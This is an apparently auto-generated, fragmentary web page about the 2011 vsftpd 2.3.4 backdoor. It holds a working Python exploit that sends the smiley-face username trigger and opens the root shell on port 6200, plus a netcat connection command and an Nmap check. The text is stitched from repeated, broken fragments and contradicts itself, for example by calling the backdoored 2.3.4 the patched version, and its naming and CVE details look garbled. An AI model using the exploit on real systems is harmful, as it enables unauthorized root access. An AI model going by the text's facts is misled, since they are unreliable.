Vsftpd 208 Exploit Github Link Jun 2026

In 2011, a critical vulnerability was discovered in the popular FTP server software, VSFTPD (Very Secure FTP Daemon). The vulnerability, which was assigned the CVE number CVE-2011-2483, allowed an attacker to execute arbitrary code on a vulnerable system. The exploit, which was publicly disclosed on GitHub, was quickly dubbed the "vsftpd 208 exploit" due to its association with the software's version number.

import socket import sys # 1. Establish connection to the target FTP server (Port 21) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 21)) s.recv(1024) # 2. Send the malicious username containing the smiley face trigger s.send(b"USER backdoored:)\r\n") s.recv(1024) # 3. Send a dummy password to complete the trigger phase s.send(b"PASS password\r\n") # 4. Connect to the newly opened backdoor port (Port 6200) backdoor = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor.connect((sys.argv[1], 6200)) # 5. Interact with the root shell # (Script logic to send commands and receive output) Use code with caution. Mitigation and Defense

nc 192.168.1.160 6200

: You can also test for this vulnerability using the ftp-vsftpd-backdoor.nse script in Nmap. Why You Might See "2.0.8" metasploit-framework/modules/exploits/unix/ftp ... - GitHub

The good news is that the vsftpd 208 exploit has been patched in vsftpd version 2.3.4 and later. To mitigate the vulnerability, users can update their vsftpd installation to the latest version. vsftpd 208 exploit github link

In July 2011, the source code archive for VSFTPD (Very Secure FTP Daemon) version 2.3.4 was compromised on its master site and replaced with a version containing a malicious backdoor [1, 2]. This article explains how the exploit works, its historical context, and how to safely study it using public repositories. The Anatomy of the VSFTPD 2.3.4 Exploit

vsftpd-backdoor-exploit (Daniel1234mata) : A detailed guide and script for exploiting the backdoor in a lab environment. In 2011, a critical vulnerability was discovered in

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Use the Nmap script: nmap --script ftp-vsftpd-backdoor -p 21 [Target_IP] . import socket import sys # 1

The most common "exploit" searches for vsftpd on GitHub center around the following: PwnHouse/OSVDB-73573/README.md at master - GitHub

The VSFTPD 2.3.4 backdoor is famous for its simplicity. The attacker modified the sysdeputil.c file in the source code [1]. The Trigger Mechanism